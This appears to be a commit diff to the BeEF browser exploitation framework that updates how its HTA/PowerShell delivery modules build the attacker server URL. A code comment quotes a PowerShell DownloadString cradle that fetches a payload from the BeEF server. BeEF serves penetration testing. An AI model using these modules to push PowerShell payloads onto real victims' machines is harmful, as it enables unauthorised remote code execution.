Use public URL

This commit is contained in:
Brendan Coles
2015-07-10 22:36:14 +00:00
parent cbfe472eb7
commit 7f29e676b3
2 changed files with 10 additions and 6 deletions

View File

@@ -16,7 +16,7 @@ module BeEF
# Change the default payload URL (DownloadString('http://172.16.37.1/ps/ps.png'))) with your BeEF server and powershell URL settings. # Change the default payload URL (DownloadString('http://172.16.37.1/ps/ps.png'))) with your BeEF server and powershell URL settings.
# By default powershell will be served from http://beef_server:beef_port/ps/ps.png # By default powershell will be served from http://beef_server:beef_port/ps/ps.png
# #
# NOTE: make sure you change the 'host' variable in the main BeEF config.yaml from 0.0.0.0 to the specific IP where BeEF is binded to, # NOTE: make sure you change the 'beef.http.public' variable in the main BeEF config.yaml to the specific IP where BeEF is binded to,
# and also the powershell-related variable in extensions/social_engineering/config.yaml # and also the powershell-related variable in extensions/social_engineering/config.yaml
class Bind_powershell < BeEF::Core::Router::Router class Bind_powershell < BeEF::Core::Router::Router
before do before do
@@ -59,4 +59,4 @@ module BeEF
end end
end end
end end
end end

View File

@@ -7,12 +7,16 @@ class Hta_powershell < BeEF::Core::Command
def self.options def self.options
host = BeEF::Core::Configuration.instance.get('beef.http.host') @configuration = BeEF::Core::Configuration.instance
port = BeEF::Core::Configuration.instance.get('beef.http.port') proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url') beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
base_host = "#{proto}://#{beef_host}:#{beef_port}"
ps_url = @configuration.get('beef.extension.social_engineering.powershell.powershell_handler_url')
return [ return [
{'name' => 'domain', 'ui_label' => 'Serving Domain (BeEF server)', 'value' => "http://#{host}:#{port}"}, {'name' => 'domain', 'ui_label' => 'Serving Domain (BeEF server)', 'value' => "#{base_host}" },
{'name' => 'ps_url', 'ui_label' => 'Powershell/HTA handler', 'value' => "#{ps_url}"} {'name' => 'ps_url', 'ui_label' => 'Powershell/HTA handler', 'value' => "#{ps_url}"}
] ]
end end